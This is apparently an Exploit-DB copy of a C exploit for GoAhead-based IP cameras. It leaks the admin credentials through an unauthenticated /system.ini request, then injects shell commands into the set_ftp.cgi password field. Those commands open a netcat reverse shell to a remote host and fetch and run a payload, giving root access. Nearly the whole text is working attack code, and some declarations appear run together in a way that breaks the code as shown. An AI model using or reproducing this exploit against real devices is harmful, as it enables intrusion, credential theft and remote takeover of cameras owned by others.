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// Exploit-DB Note ~ Source: https://pierrekim.github.io/advisories/expl-goahead-camera.c // Exploit-DB Note ~ Credit: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #define CAM_PORT 80 #define REMOTE_HOST "192.168.1.1" #define REMOTE_PORT "1337" #define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n" #define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" char *creds(char*argv, int get_config); int rce(char*argv, char*id, charattack[], chardesc[]); int main(intargc, char **argv, char **envp) { char*id; printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n"); if (argc < 2) { printf("%s target\n", argv[0]); printf("%s target --get-configwill dump the configuration and exit\n", argv[0]); return (1); } if (argc == 2) printf("Please run <code>nc -vlp %s</code> on %s\n\n", REMOTE_PORT, REMOTE_HOST); if (argc == 3 && !strcmp(argv[2], "--get-config")) id = creds(argv[1], 1); else id = creds(argv[1], 0); if (id == NULL) { printf("exploit failed\n"); return (1); } printf("done\n"); printf("login = %s\n", id); printf("pass= %s\n", id + 32); if (!rce(argv[1], id, PAYLOAD_0, "planting")) printf("done\n"); sleep(1); if (!rce(argv[1], id, PAYLOAD_1, "executing")) printf("done\n"); if (!rce(argv[1], id, PAYLOAD_2, "cleaning")) printf("done\n"); if (!rce(argv[1], id, PAYLOAD_1, "cleaning")) printf("done\n"); printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT); return (0); } char *creds(char*argv, int get_config) { int sock; int n; struct sockaddr_inserv_addr; charbuf[8192] = { 0 }; char*out; char*tmp; charpayload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n"; int old_n; int n_total; sock = 0; n = 0; old_n = 0; n_total = 0; printf("[+] bypassing auth ... "); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error while creating socket\n"); return (NULL); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(CAM_PORT); if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) { printf("Error while inet_pton\n"); return (NULL); } if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) { printf("creds: connect failed\n"); return (NULL); } if (send(sock, payload, strlen(payload) , 0) < 0) { printf("creds: send failed\n"); return (NULL); } if (!(tmp = malloc(10 * 1024 * sizeof(char)))) return (NULL); if (!(out = calloc(64, sizeof(char)))) return (NULL); while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) { n_total += n; if (n_total < 1024 * 10) memcpy(tmp + old_n, buf, n); if (n >= 0) old_n = n; } close(sock); /* [ HTTP HEADERS ] ... 000????: 0000 0a0a 0a0a 01.. .... .... .... .... ^^^^ ^^^^ ^^ Useful reference in the binary data in order to to find the positions of credentials ... ... 0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000admin........... 00006a0: 0000 0000 0000 0000 0000 0000 0000 0000................ 00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000admin........... 00006c0: 0000 0000 0000 0000 0000 0000 0000 0000................ ... NOTE: reference can be too: 000????: 0006 0606 0606 0100 000a .... .... .... Other method: parse everything, find the "admin" string and extract the associated password by adding 31bytes after the address of 'a'[dmin]. Works if the login is admin (seems to be this by default, but can be changed by the user) */ if (get_config) { for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++) printf("%c", tmp[j]); exit (0); } for (unsigned int j = 50; j < 10 * 1024; j++) { if (tmp[j - 4] == 0x0a && tmp[j - 3] == 0x0a && tmp[j - 2] == 0x0a && tmp[j - 1] == 0x0a && tmp[j] == 0x01) { if (j + 170 < 10 * 1024) { strcat(out, &tmp[j + 138]); strcat(out + 32 * sizeof(char), &tmp[j + 170]); free(tmp); return (out); } } } free(tmp); return (NULL); } int rce(char*argv, char*id, charattack[], chardesc[]) { int sock; struct sockaddr_inserv_addr; char*payload; if (!(payload = calloc(512, sizeof(char)))) return (1); sock = 0; printf("[+] %s payload ... ", desc); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error while creating socket\n"); return (1); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(CAM_PORT); if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) { printf("Error while inet_pton\n"); return (1); } if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) { printf("rce: connect failed\n"); return (1); } sprintf(payload, attack, id, id + 32); if (send(sock, payload, strlen(payload) , 0) < 0) { printf("rce: send failed\n"); return (1); } return (0); } |
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